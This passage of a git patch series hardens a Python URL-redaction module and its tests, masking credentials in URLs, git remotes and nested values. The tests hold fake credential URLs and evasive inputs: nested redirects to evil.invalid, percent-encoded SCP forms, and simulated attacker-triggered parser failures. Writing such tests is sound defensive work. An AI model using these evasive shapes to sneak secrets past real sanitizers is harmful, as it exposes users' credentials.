max_candidates=0, ) - assert literal == api.TextRedactionResult( - value=api.REDACTED_REMAINDER, - complete=True, - candidates=0, - reason=None, - ) - assert exhausted.value == api.REDACTED_REMAINDER + assert literal.value == exhausted.value + assert literal.complete is True + assert literal.reason is None assert exhausted.complete is False - assert exhausted.candidates == 0 assert exhausted.reason is api.TextRedactionIncompleteReason.CANDIDATE_LIMIT - assert literal_with_prefix.value == exhausted_with_prefix.value - assert literal_with_prefix.complete is True - assert exhausted_with_prefix.complete is False -def test_structured_text_result_reports_character_bound_and_retained_candidate_usage() -> None: - api = _api() - text = ( - "https://user:first-structured-secret@one.invalid/path " - "https://user:second-structured-secret@two.invalid/path" - ) - - character_limited = api.redact_text_result(text, max_characters=len(text) - 1) - candidate_limited = api.redact_text_result(text, max_candidates=1) +def test_character_overflow_masks_the_whole_input_without_parsing_a_prefix() -> None: + raw = "https://user:prefix-secret@packages.example.invalid/private" - assert character_limited == api.TextRedactionResult( + assert api.redact_text_result(raw, max_characters=len(raw) - 1) == api.TextRedactionResult( value=api.REDACTED_REMAINDER, complete=False, candidates=0, reason=api.TextRedactionIncompleteReason.CHARACTER_LIMIT, ) - assert candidate_limited.complete is False - assert candidate_limited.candidates == 1 - assert candidate_limited.reason is api.TextRedactionIncompleteReason.CANDIDATE_LIMIT - assert candidate_limited.value.endswith(api.REDACTED_REMAINDER) - - -def test_nested_scp_signals_share_the_hierarchical_candidate_budget() -> None: - api = _api() - text = "https://safe.invalid/p?next=a@b:x.git,c@d:y.git" + assert api.redact_url(raw, max_characters=len(raw) - 1) == api.REDACTED_URL - assert api.redact_text(text, max_candidates=3) == api.REDACTED_URL - assert api.redact_text(text, max_candidates=2) == api.REDACTED_REMAINDER - assert api.redact_text(text, max_candidates=1) == api.REDACTED_REMAINDER +@pytest.mark.parametrize("invalid", [-1, True, False]) +def test_text_redaction_rejects_negative_and_boolean_bounds(invalid: int | bool) -> None: + result = api.redact_text_result("https://host.invalid/path", max_candidates=invalid) -def test_scp_candidate_containing_a_hierarchical_marker_fails_closed_and_charges_both() -> None: - api = _api() - sentinel = "inverse-nested-scp-secret-0bc4" - text = f"{sentinel}@host.invalid:org://evil.invalid/repo.git" + assert result.complete is False + assert result.reason is api.TextRedactionIncompleteReason.INVALID_INPUT - assert api.redact_text(text, max_candidates=2) == api.REDACTED_URL - assert api.redact_text(text, max_candidates=1) == api.REDACTED_REMAINDER - assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER - assert sentinel not in api.redact_text(text) - - -def test_ambiguous_email_assignment_and_url_token_is_masked() -> None: - api = _api() - text = "owner=dev@example.invalid:url=https://host.invalid/path" - - assert api.redact_text(text) == api.REDACTED_URL +def test_default_text_bound_covers_the_full_artifact_cache_contract() -> None: + text = "x" * api.MAX_REDACTION_CHARACTERS -@pytest.mark.parametrize( - "text", - [ - "a@b:x.git,https://user:first-same-token-secret@host.invalid/x", - ( - '["https://user:first-array-secret@one.invalid/x",' - '"https://user:second-array-secret@two.invalid/y"]' - ), - ], -) -def test_structured_result_retains_same_token_candidate_usage_on_exhaustion( - text: str, -) -> None: - api = _api() + result = api.redact_text_result(text) - result = api.redact_text_result(text, max_candidates=1) + assert api.MAX_REDACTION_CHARACTERS == 16 * 1024 * 1024 + assert result.value is text + assert result.complete is True - assert result == api.TextRedactionResult( - value=api.REDACTED_REMAINDER, - complete=False, - candidates=1, - reason=api.TextRedactionIncompleteReason.CANDIDATE_LIMIT, - ) - assert "same-token-secret" not in result.value - assert "array-secret" not in result.value +def test_unexpected_url_parser_errors_fail_closed(monkeypatch: pytest.MonkeyPatch) -> None: + def broken_parser(_value: str) -> object: + raise RuntimeError("attacker-controlled parser failure") -@pytest.mark.parametrize( - "template", - [ - "{sentinel}#x@git.example.invalid:org/repo.git", - "{sentinel}@git.example.invalid#x:org/repo.git", - "{sentinel}@git.example.invalid:org#x/repo.git", - ], -) -def test_scp_candidate_with_an_ambiguous_raw_fragment_fails_closed(template: str) -> None: - api = _api() - sentinel = "scp-fragment-prefix-secret-2e70" - text = template.format(sentinel=sentinel) + monkeypatch.setattr(api, "urlsplit", broken_parser) - assert api.redact_text(text) == api.REDACTED_URL - assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER - assert sentinel not in api.redact_text(text) + assert api.redact_url("https://user:secret@host.invalid/path") == api.REDACTED_URL -def test_scp_discovery_uses_the_host_path_separator_not_the_last_colon() -> None: - api = _api() - sentinel = "multi-colon-scp-userinfo-secret-77a1" - text = f"user:{sentinel}@evil.invalid:org/repo.git:x" +class _BrokenCasefoldString(str): + def casefold(self) -> str: + raise RuntimeError("attacker-controlled string failure") - assert api.redact_text(text) == api.REDACTED_URL - assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER - assert sentinel not in api.redact_text(text) +def test_internal_text_probe_errors_mask_the_whole_input_without_throwing() -> None: + raw = _BrokenCasefoldString("https%3A%2F%2Fuser%40host.invalid%2Fpath") -def test_markup_scanner_output_is_idempotent() -> None: - api = _api() - text = ( - '{"url":"https://user:json-idempotent-secret@host.invalid/path",' - '"mirror":"https://host.invalid/mirror"}' + assert api.redact_text_result(raw) == api.TextRedactionResult( + value=api.REDACTED_REMAINDER, + complete=False, + candidates=0, + reason=api.TextRedactionIncompleteReason.INTERNAL_ERROR, ) - first = api.redact_text(text) - - assert api.redact_text(first) == first - - -@pytest.mark.parametrize( - ("raw", "max_characters"), - [ - ("https://alice:123456789@example.invalid/path", 18), - ("https://alice:password-cut@example.invalid/path", 27), - ("https://packages.example.invalid/path?token=query-cut-secret", 52), - ("https://packages.example.invalid/path#fragment-cut-secret", 49), - ], -) -def test_over_bound_text_never_parses_or_returns_a_clipped_prefix( - raw: str, - max_characters: int, -) -> None: - api = _api() - - redacted = api.redact_text(raw, max_characters=max_characters) - - assert redacted == api.REDACTED_REMAINDER - assert redacted == api.redact_text(redacted, max_characters=max_characters) - assert raw[:max_characters] not in redacted - -def test_direct_url_redaction_fails_closed_when_character_bound_is_exhausted() -> None: - api = _api() - sentinel = "direct-bound-secret" - raw = f"https://user:{sentinel}@packages.example.invalid/private" - - assert api.redact_url(raw, max_characters=16) == api.REDACTED_URL - - -def test_nested_values_are_sanitized_without_rewriting_code_owned_keys_or_container_types() -> None: - api = _api() - https_secret = "nested-https-secret" - ssh_secret = "nested-ssh-secret" - prose_secret = "nested-prose-secret" +def test_nested_values_preserve_code_owned_keys_and_container_types() -> None: value = { - "registry_url": f"https://user:{https_secret}@packages.example.invalid/private", + "registry_url": "https://user:https-secret@packages.example.invalid/private?token=x", "details": [ - f"ssh://user:{ssh_secret}@git.example.invalid/org/repo.git", - (f"Mirror: https://user:{prose_secret}@mirror.example.invalid/simple", 7), + "ssh://user:ssh-secret@git.example.invalid/org/repo.git#part", + ("ordinary", 7), ], "enabled": True, } redacted = api.redact_value(value) - assert set(redacted) == {"registry_url", "details", "enabled"} - assert isinstance(redacted["details"], list) - assert isinstance(redacted["details"][1], tuple) - assert redacted["details"][1][1] == 7 - assert redacted["enabled"] is True - rendered = repr(redacted) - for sentinel in (https_secret, ssh_secret, prose_secret): - assert sentinel not in rendered - assert "packages.example.invalid/private" in rendered - assert "git.example.invalid/org/repo.git" in rendered - - -def test_nested_redaction_fails_closed_at_depth_and_item_bounds() -> None: - api = _api() - depth_secret = "depth-bound-secret" - item_secret = "item-bound-secret" - - depth_bounded = api.redact_value( - {"outer": {"inner": f"https://user:{depth_secret}@packages.example.invalid/repo"}}, - max_depth=1, - ) - item_bounded = api.redact_value( - { - "first": "safe", - "second": f"https://user:{item_secret}@packages.example.invalid/repo", - }, - max_nodes=2, - ) - - assert depth_secret not in repr(depth_bounded) - assert item_secret not in repr(item_bounded) - assert api.REDACTED_VALUE in repr(depth_bounded) - assert item_bounded == api.REDACTED_VALUE - - -def test_recursive_value_exact_depth_and_node_bounds_succeed_but_one_over_is_redacted() -> None: - api = _api() - depth_secret = "one-over-depth-secret" - node_secret = "one-over-node-secret" - exact_depth = {"outer": {"leaf": "safe"}} - over_depth = {"outer": {"inner": {"leaf": f"https://user:{depth_secret}@host.invalid/x"}}} - exact_nodes = {"leaf": "safe"} - over_nodes = { - "first": "safe", - "second": f"https://user:{node_secret}@host.invalid/x", + assert redacted == { + "registry_url": "https://packages.example.invalid/REDACTED_PATH", + "details": ["ssh://git.example.invalid/REDACTED_PATH", ("ordinary", 7)], + "enabled": True, } - assert api.redact_value(exact_depth, max_depth=2) == exact_depth - depth_result = api.redact_value(over_depth, max_depth=2) - assert depth_secret not in repr(depth_result) - assert api.REDACTED_VALUE in repr(depth_result) - assert api.redact_value(exact_nodes, max_nodes=2) == exact_nodes - node_result = api.redact_value(over_nodes, max_nodes=2) - assert node_secret not in repr(node_result) - assert api.REDACTED_VALUE in repr(node_result) - - -def test_recursive_value_self_reference_terminates_fail_closed() -> None: - api = _api() - value: list[object] = [] - value.append(value) - - redacted = api.redact_value(value) - - assert redacted == [api.REDACTED_VALUE] - - -def test_recursive_text_character_budget_is_aggregate_across_sibling_values() -> None: - api = _api() - value = {"first": "abcd", "second": "efgh"} - - assert api.redact_value(value, max_text_characters=8) == value - assert api.redact_value(value, max_text_characters=7) == api.REDACTED_VALUE +def test_recursive_text_character_and_candidate_budgets_are_aggregate() -> None: + benign = {"first": "abcd", "second": "efgh"} + candidates = { + "first": "https://user:first-secret@one.invalid/x", + "second": "https://user:second-secret@two.invalid/y", + } -def test_recursive_candidate_budget_is_aggregate_across_sibling_values() -> None: - api = _api() - value = { - "first": "https://user:first-aggregate-secret@one.example.invalid/repo", - "second": "https://user:second-aggregate-secret@two.example.invalid/repo", + assert api.redact_value(benign, max_text_characters=8) == benign + assert api.redact_value(benign, max_text_characters=7) == api.REDACTED_VALUE + assert api.redact_value(candidates, max_text_candidates=1) == api.REDACTED_VALUE + exact = api.redact_value(candidates, max_text_candidates=2) + assert exact == { + "first": "https://one.invalid/REDACTED_PATH", + "second": "https://two.invalid/REDACTED_PATH", } - exact = api.redact_value(value, max_text_candidates=2) - assert "first-aggregate-secret" not in repr(exact) - assert "second-aggregate-secret" not in repr(exact) - assert api.redact_value(value, max_text_candidates=1) == api.REDACTED_VALUE +def test_recursive_depth_and_node_bounds_are_exact_and_fail_closed_one_over() -> None: + depth_value = {"outer": {"leaf": "ordinary"}} + node_value = {"leaf": "ordinary"} + + assert api.redact_value(depth_value, max_depth=2) == depth_value + assert api.redact_value(depth_value, max_depth=1) == api.REDACTED_VALUE + assert api.redact_value(node_value, max_nodes=2) == node_value + assert api.redact_value(node_value, max_nodes=1) == api.REDACTED_VALUE class _CountingMapping(Mapping[str, str]): def __init__(self) -> None: self.iterations = 0 - self._values = {"first": "one", "second": "two", "third": "three"} def __getitem__(self, key: str) -> str: - return self._values[key] + return {"first": "one", "second": "two", "third": "three"}[key] def __iter__(self) -> Iterator[str]: - for key in self._values: + for key in ("first", "second", "third"): self.iterations += 1 yield key def __len__(self) -> int: - return len(self._values) + return 3 def test_recursive_node_exhaustion_stops_before_iterating_an_oversized_mapping() -> None: - api = _api() value = _CountingMapping() - redacted = api.redact_value(value, max_nodes=2) - - assert redacted == api.REDACTED_VALUE + assert api.redact_value(value, max_nodes=2) == api.REDACTED_VALUE assert value.iterations == 0 -@pytest.mark.parametrize( - "function_name", - ["redact_url", "redact_text"], -) +def test_recursive_self_reference_terminates_fail_closed() -> None: + value: list[object] = [] + value.append(value) + + assert api.redact_value(value) == api.REDACTED_VALUE + + +@pytest.mark.parametrize("function_name", ["redact_url", "redact_text"]) def test_string_redactors_are_deterministic_and_idempotent(function_name: str) -> None: - api = _api() function = getattr(api, function_name) raw = ( "Prefix " if function_name == "redact_text" else "" - ) + "https://user:idempotent-secret@packages.example.invalid/repo?token=query-secret" + ) + "https://user:secret@packages.example.invalid/repo?token=query#part" first = function(raw) @@ -1766,9 +341,8 @@ def test_string_redactors_are_deterministic_and_idempotent(function_name: str) - def test_recursive_value_redaction_is_idempotent() -> None: - api = _api() value = { - "url": "https://user:value-secret@packages.example.invalid/repo", + "url": "https://user:secret@packages.example.invalid/repo?token=x", "items": ("plain",), } From 65e27caf8b07b0c67e46b434a03c394f4663b0a5 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 21:28:47 -0700 Subject: [PATCH 13/30] fix(sc10): harden redaction boundaries Signed-off-by: Nir Paz --- src/skillspector/url_redaction.py | 50 +++++++++++++----- tests/unit/test_dependency_source_types.py | 26 +++++----- tests/unit/test_url_redaction.py | 59 +++++++++++++++++++++- 3 files changed, 109 insertions(+), 26 deletions(-) diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index 7d856a0b..704ac056 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -22,12 +22,14 @@ MAX_REDACTION_CANDIDATES: Final = 1_024 MAX_REDACTION_DEPTH: Final = 16 MAX_REDACTION_NODES: Final = 10_000 +MAX_REDACTION_MAPPING_KEY_CHARACTERS: Final = 128 _CONTROL_CHARACTER = re.compile(r"[\x00-\x1f\x7f]") _SCHEME = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*$") _HIERARCHICAL_MARKER = re.compile(r"[A-Za-z][A-Za-z0-9+.-]*://") _SAFE_PATH = re.compile(r"^/[A-Za-z0-9._~!$&'()*+,;=:@/-]*$") _SAFE_SCP_PATH = re.compile(r"^[A-Za-z0-9._~!$&'()*+,;=:@/-]+$") +_CODE_OWNED_MAPPING_KEY = re.compile(r"^[A-Za-z_][A-Za-z0-9_.-]*$") _SCP_URL = re.compile(r"^(?P[^@\s]+)@(?P\[[^\]\s]+\]|[^@/:\\\s]+):(?P.+)$") _PROSE_OPENERS: Final = frozenset("([{<\"'`") _PAIRED_CLOSERS: Final = { @@ -144,7 +146,9 @@ def _marker_count(value: str) -> int: count += max(0, raw_slashes - structural_slashes) if _has_nested_scp_marker(value, hierarchical[0].end() if hierarchical else 2): count += 1 - elif _looks_like_scp_git(value): + elif _has_encoded_scp_structure(value): + count += 1 + elif _has_scp_structure(value): count += max(1, value.count("@")) return count @@ -153,6 +157,19 @@ def _has_encoded_url_marker(value: str) -> bool: return "%" in value and "%2f%2f" in value.casefold() +def _has_scp_structure(value: str) -> bool: + at_sign = value.find("@") + return at_sign > 0 and value.find(":", at_sign + 1) > at_sign + 1 + + +def _has_encoded_scp_structure(value: str) -> bool: + if "%" not in value: + return False + folded = value.casefold() + at_sign = folded.find("%40") + return at_sign > 0 and folded.find(":", at_sign + 3) > at_sign + 3 + + def _has_nested_scp_marker(value: str, authority_start: int) -> bool: boundary = len(value) for delimiter in "/?#": @@ -192,11 +209,7 @@ def _redact_hierarchical(value: str, *, scheme_relative: bool) -> str: def _looks_like_scp_git(value: str) -> bool: base = re.split(r"[?#]", value, maxsplit=1)[0] - match = _SCP_URL.fullmatch(base) - if match is None: - return False - path = match.group("path") - return "/" in path or ".git" in path.casefold() + return _SCP_URL.fullmatch(base) is not None def _redact_scp(value: str) -> str: @@ -225,7 +238,7 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> except Exception: return REDACTED_URL if markers == 0: - return value + return value if value == REDACTED_URL else REDACTED_URL if ( markers != 1 or "%" in value @@ -295,6 +308,7 @@ def _might_contain_candidate(value: str) -> bool: return bool( "://" in value or _has_encoded_url_marker(value) + or _has_encoded_scp_structure(value) or ("//" in value and _SCHEME_RELATIVE_TOKEN.search(value)) or ("@" in value and ":" in value) ) @@ -409,16 +423,16 @@ def visit(self, value: object, depth: int) -> object: if isinstance(value, str): if len(value) > self.remaining_text_characters: raise _AggregateRedactionExhaustedError - result = redact_text_result( + text_result = redact_text_result( value, max_characters=self.remaining_text_characters, max_candidates=self.remaining_text_candidates, ) - if not result.complete: + if not text_result.complete: raise _AggregateRedactionExhaustedError self.remaining_text_characters -= len(value) - self.remaining_text_candidates -= result.candidates - return result.value + self.remaining_text_candidates -= text_result.candidates + return text_result.value if value is None or isinstance(value, (bool, int, float)): return value if isinstance(value, (Mapping, list, tuple)): @@ -428,7 +442,19 @@ def visit(self, value: object, depth: int) -> object: self.active.add(identity) try: if isinstance(value, Mapping): - return {key: self.visit(nested, depth + 1) for key, nested in value.items()} + mapping_result: dict[str, object] = {} + for key, nested in value.items(): + if ( + not isinstance(key, str) + or len(key) > MAX_REDACTION_MAPPING_KEY_CHARACTERS + or _CODE_OWNED_MAPPING_KEY.fullmatch(key) is None + or redact_text(key) != key + or len(key) > self.remaining_text_characters + ): + raise _AggregateRedactionExhaustedError + self.remaining_text_characters -= len(key) + mapping_result[key] = self.visit(nested, depth + 1) + return mapping_result items = [self.visit(nested, depth + 1) for nested in value] return tuple(items) if isinstance(value, tuple) else items finally: diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index cf930301..c2f274e8 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -144,6 +144,7 @@ def test_source_change_accepts_only_redacted_resolved_destinations() -> None: @pytest.mark.parametrize( "raw_destination", [ + "token=type-boundary-secret", "ftp://user:type-boundary-secret@packages.example.invalid/private", "https://packages.example.invalid/private?apikey=type-boundary-secret", "https://packages.example.invalid/private?channel=stable;authToken=type-boundary-secret", @@ -194,21 +195,22 @@ def test_source_change_accepts_only_stable_sanitized_destinations( assert change.destination == destination -def test_source_change_accepts_interior_double_slash_as_non_reference_syntax() -> None: +def test_source_change_rejects_noncanonical_non_url_destinations() -> None: api = _api() - destination = "src/a//b.py" + sentinel = "non-url-destination-secret" - change = api.SourceChange( - ecosystem="npm", - surface="source", - operation="replace", - scope="global", - destination=destination, - destination_status=api.DestinationStatus.RESOLVED, - span=_span(api), - ) + with pytest.raises(ValueError) as error: + api.SourceChange( + ecosystem="npm", + surface="source", + operation="replace", + scope="global", + destination=f"token={sentinel}", + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) - assert change.destination == destination + assert sentinel not in str(error.value) def test_source_change_uses_one_exact_unresolved_representation() -> None: diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index 913efa8b..5575a413 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -87,6 +87,18 @@ def test_empty_or_root_paths_are_the_only_path_contents_retained( assert api.redact_url(raw) == expected +@pytest.mark.parametrize( + "value", + ["ordinary", "token=plain-secret", "src/a//b.py"], +) +def test_exact_value_redaction_rejects_non_url_destinations(value: str) -> None: + assert api.redact_url(value) == api.REDACTED_URL + + +def test_exact_value_redaction_preserves_its_fixed_placeholder() -> None: + assert api.redact_url(api.REDACTED_URL) == api.REDACTED_URL + + @pytest.mark.parametrize( "raw", [ @@ -95,6 +107,7 @@ def test_empty_or_root_paths_are_the_only_path_contents_retained( "https%3A%2F%2Fuser%3Asecret%40packages.example.invalid%2Fprivate", "https://user:secret@packages.example.invalid/private?next=https://evil.invalid/x", "https://packages.example.invalid/private?next=user@evil.invalid:org/repo.git", + "credential-marker%40host.invalid:repo", "https://one.invalid/x,https://two.invalid/y", "https://first:secret@second@packages.example.invalid/private", "https://packages.example.invalid:bad/private", @@ -149,6 +162,26 @@ def test_separate_whitespace_tokens_are_sanitized_independently() -> None: ) +@pytest.mark.parametrize( + ("raw", "expected"), + [ + ( + "source credential-marker@host.invalid:repo", + "source REDACTED@host.invalid:REDACTED_PATH", + ), + ( + "source credential-marker%40host.invalid:repo", + "source [REDACTED_URL]", + ), + ], +) +def test_text_discovers_single_component_and_encoded_scp_candidates( + raw: str, + expected: str, +) -> None: + assert api.redact_text(raw) == expected + + def test_multiple_candidates_in_one_token_are_whole_masked_or_exhaust_the_remainder() -> None: raw = "https://one.invalid/x,https://two.invalid/y" @@ -270,6 +303,28 @@ def test_nested_values_preserve_code_owned_keys_and_container_types() -> None: } +@pytest.mark.parametrize( + "key", + [ + "https://user:secret@host.invalid/path", + "token=plain-secret", + "not code owned", + "évidence", + 7, + "a" * 256, + ], +) +def test_recursive_redaction_rejects_non_code_owned_mapping_keys(key: object) -> None: + assert api.redact_value({key: "ordinary"}) == api.REDACTED_VALUE + + +def test_mapping_keys_share_the_aggregate_character_budget_with_values() -> None: + value = {"field": "x"} + + assert api.redact_value(value, max_text_characters=6) == value + assert api.redact_value(value, max_text_characters=5) == api.REDACTED_VALUE + + def test_recursive_text_character_and_candidate_budgets_are_aggregate() -> None: benign = {"first": "abcd", "second": "efgh"} candidates = { @@ -277,8 +332,8 @@ def test_recursive_text_character_and_candidate_budgets_are_aggregate() -> None: "second": "https://user:second-secret@two.invalid/y", } - assert api.redact_value(benign, max_text_characters=8) == benign - assert api.redact_value(benign, max_text_characters=7) == api.REDACTED_VALUE + assert api.redact_value(benign, max_text_characters=19) == benign + assert api.redact_value(benign, max_text_characters=18) == api.REDACTED_VALUE assert api.redact_value(candidates, max_text_candidates=1) == api.REDACTED_VALUE exact = api.redact_value(candidates, max_text_candidates=2) assert exact == { From 0e708cbf458ad887612a21253c0bd86332b82e8a Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 21:37:22 -0700 Subject: [PATCH 14/30] fix(sc10): require code-owned evidence mappings Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 4 + src/skillspector/url_redaction.py | 40 +++++++-- tests/unit/test_dependency_source_types.py | 20 +++++ tests/unit/test_url_redaction.py | 89 ++++++++++++++------- 4 files changed, 115 insertions(+), 38 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 20e93e5f..8b102890 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -40,7 +40,11 @@ class DependencyEcosystem(StrEnum): """Code-owned dependency ecosystems implemented by source parsers.""" NPM = "npm" + YARN = "yarn" PIP = "pip" + POETRY = "poetry" + PDM = "pdm" + UV = "uv" CARGO = "cargo" MAVEN = "maven" GRADLE = "gradle" diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index 704ac056..6b31c231 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -6,7 +6,7 @@ from __future__ import annotations import re -from collections.abc import Mapping +from collections.abc import Iterator, Mapping from dataclasses import dataclass, field from enum import StrEnum from ipaddress import IPv6Address @@ -45,6 +45,30 @@ _SCHEME_RELATIVE_TOKEN = re.compile(r"(?:^|\s)[\(\[\{<\"'`]?//") +@dataclass(frozen=True, slots=True, init=False) +class CodeOwnedMapping(Mapping[object, object]): + """Immutable provenance marker for mappings assembled by trusted caller code.""" + + _entries: tuple[tuple[object, object], ...] + + def __init__(self, values: Mapping[object, object]) -> None: + if not isinstance(values, Mapping): + raise ValueError("code-owned mapping values must be a mapping") + object.__setattr__(self, "_entries", tuple(values.items())) + + def __getitem__(self, key: object) -> object: + for candidate, value in self._entries: + if candidate == key: + return value + raise KeyError(key) + + def __iter__(self) -> Iterator[object]: + return (key for key, _value in self._entries) + + def __len__(self) -> int: + return len(self._entries) + + def _valid_bound(value: object) -> bool: return type(value) is int and value >= 0 @@ -184,7 +208,7 @@ def _has_nested_scp_marker(value: str, authority_start: int) -> bool: if colon < 0: return False path = suffix[colon + 1 :].split("?", 1)[0].split("#", 1)[0] - return "/" in path or ".git" in path.casefold() + return bool(path) def _redact_hierarchical(value: str, *, scheme_relative: bool) -> str: @@ -435,15 +459,15 @@ def visit(self, value: object, depth: int) -> object: return text_result.value if value is None or isinstance(value, (bool, int, float)): return value - if isinstance(value, (Mapping, list, tuple)): + if isinstance(value, (CodeOwnedMapping, list, tuple)): identity = id(value) if identity in self.active or len(value) > self.remaining_nodes: raise _AggregateRedactionExhaustedError self.active.add(identity) try: - if isinstance(value, Mapping): - mapping_result: dict[str, object] = {} - for key, nested in value.items(): + if isinstance(value, CodeOwnedMapping): + mapping_result: dict[object, object] = {} + for key, nested in value._entries: if ( not isinstance(key, str) or len(key) > MAX_REDACTION_MAPPING_KEY_CHARACTERS @@ -454,11 +478,13 @@ def visit(self, value: object, depth: int) -> object: raise _AggregateRedactionExhaustedError self.remaining_text_characters -= len(key) mapping_result[key] = self.visit(nested, depth + 1) - return mapping_result + return CodeOwnedMapping(mapping_result) items = [self.visit(nested, depth + 1) for nested in value] return tuple(items) if isinstance(value, tuple) else items finally: self.active.remove(identity) + if isinstance(value, Mapping): + raise _AggregateRedactionExhaustedError return REDACTED_VALUE diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index c2f274e8..a7834938 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -141,6 +141,26 @@ def test_source_change_accepts_only_redacted_resolved_destinations() -> None: assert change.destination_status is api.DestinationStatus.RESOLVED +@pytest.mark.parametrize( + ("value", "member_name"), + [ + ("yarn", "YARN"), + ("poetry", "POETRY"), + ("pdm", "PDM"), + ("uv", "UV"), + ], +) +def test_dependency_ecosystem_has_fixed_pr2_parser_categories( + value: str, + member_name: str, +) -> None: + api = _api() + + member = getattr(api.DependencyEcosystem, member_name) + + assert api.DependencyEcosystem(value) is member + + @pytest.mark.parametrize( "raw_destination", [ diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index 5575a413..45464797 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -107,6 +107,10 @@ def test_exact_value_redaction_preserves_its_fixed_placeholder() -> None: "https%3A%2F%2Fuser%3Asecret%40packages.example.invalid%2Fprivate", "https://user:secret@packages.example.invalid/private?next=https://evil.invalid/x", "https://packages.example.invalid/private?next=user@evil.invalid:org/repo.git", + "https://packages.example.invalid/private?next=marker@evil.invalid:repo", + "https://packages.example.invalid/private#next=marker@evil.invalid:repo", + "https://packages.example.invalid/private?next=marker%40evil.invalid:repo", + "https://packages.example.invalid/private#next=marker%40evil.invalid:repo", "credential-marker%40host.invalid:repo", "https://one.invalid/x,https://two.invalid/y", "https://first:secret@second@packages.example.invalid/private", @@ -285,22 +289,39 @@ def test_internal_text_probe_errors_mask_the_whole_input_without_throwing() -> N def test_nested_values_preserve_code_owned_keys_and_container_types() -> None: - value = { - "registry_url": "https://user:https-secret@packages.example.invalid/private?token=x", - "details": [ - "ssh://user:ssh-secret@git.example.invalid/org/repo.git#part", - ("ordinary", 7), - ], - "enabled": True, - } + value = api.CodeOwnedMapping( + { + "registry_url": "https://user:https-secret@packages.example.invalid/private?token=x", + "details": [ + "ssh://user:ssh-secret@git.example.invalid/org/repo.git#part", + ("ordinary", 7), + ], + "enabled": True, + } + ) redacted = api.redact_value(value) - assert redacted == { - "registry_url": "https://packages.example.invalid/REDACTED_PATH", - "details": ["ssh://git.example.invalid/REDACTED_PATH", ("ordinary", 7)], - "enabled": True, - } + assert redacted == api.CodeOwnedMapping( + { + "registry_url": "https://packages.example.invalid/REDACTED_PATH", + "details": ["ssh://git.example.invalid/REDACTED_PATH", ("ordinary", 7)], + "enabled": True, + } + ) + + +@pytest.mark.parametrize( + "value", + [ + {"credential_marker": "safe"}, + {"ordinary_field": "safe"}, + ], +) +def test_plain_mappings_fail_closed_even_when_keys_have_identifier_shape( + value: dict[str, str], +) -> None: + assert api.redact_value(value) == api.REDACTED_VALUE @pytest.mark.parametrize( @@ -314,37 +335,41 @@ def test_nested_values_preserve_code_owned_keys_and_container_types() -> None: "a" * 256, ], ) -def test_recursive_redaction_rejects_non_code_owned_mapping_keys(key: object) -> None: - assert api.redact_value({key: "ordinary"}) == api.REDACTED_VALUE +def test_wrapped_mapping_rejects_invalid_or_oversized_keys(key: object) -> None: + assert api.redact_value(api.CodeOwnedMapping({key: "ordinary"})) == api.REDACTED_VALUE def test_mapping_keys_share_the_aggregate_character_budget_with_values() -> None: - value = {"field": "x"} + value = api.CodeOwnedMapping({"field": "x"}) assert api.redact_value(value, max_text_characters=6) == value assert api.redact_value(value, max_text_characters=5) == api.REDACTED_VALUE def test_recursive_text_character_and_candidate_budgets_are_aggregate() -> None: - benign = {"first": "abcd", "second": "efgh"} - candidates = { - "first": "https://user:first-secret@one.invalid/x", - "second": "https://user:second-secret@two.invalid/y", - } + benign = api.CodeOwnedMapping({"first": "abcd", "second": "efgh"}) + candidates = api.CodeOwnedMapping( + { + "first": "https://user:first-secret@one.invalid/x", + "second": "https://user:second-secret@two.invalid/y", + } + ) assert api.redact_value(benign, max_text_characters=19) == benign assert api.redact_value(benign, max_text_characters=18) == api.REDACTED_VALUE assert api.redact_value(candidates, max_text_candidates=1) == api.REDACTED_VALUE exact = api.redact_value(candidates, max_text_candidates=2) - assert exact == { - "first": "https://one.invalid/REDACTED_PATH", - "second": "https://two.invalid/REDACTED_PATH", - } + assert exact == api.CodeOwnedMapping( + { + "first": "https://one.invalid/REDACTED_PATH", + "second": "https://two.invalid/REDACTED_PATH", + } + ) def test_recursive_depth_and_node_bounds_are_exact_and_fail_closed_one_over() -> None: - depth_value = {"outer": {"leaf": "ordinary"}} - node_value = {"leaf": "ordinary"} + depth_value = api.CodeOwnedMapping({"outer": api.CodeOwnedMapping({"leaf": "ordinary"})}) + node_value = api.CodeOwnedMapping({"leaf": "ordinary"}) assert api.redact_value(depth_value, max_depth=2) == depth_value assert api.redact_value(depth_value, max_depth=1) == api.REDACTED_VALUE @@ -396,10 +421,12 @@ def test_string_redactors_are_deterministic_and_idempotent(function_name: str) - def test_recursive_value_redaction_is_idempotent() -> None: - value = { - "url": "https://user:secret@packages.example.invalid/repo?token=x", - "items": ("plain",), - } + value = api.CodeOwnedMapping( + { + "url": "https://user:secret@packages.example.invalid/repo?token=x", + "items": ("plain",), + } + ) first = api.redact_value(value) From 942b8207580c0539f777479aa8c3baaa33a81664 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: 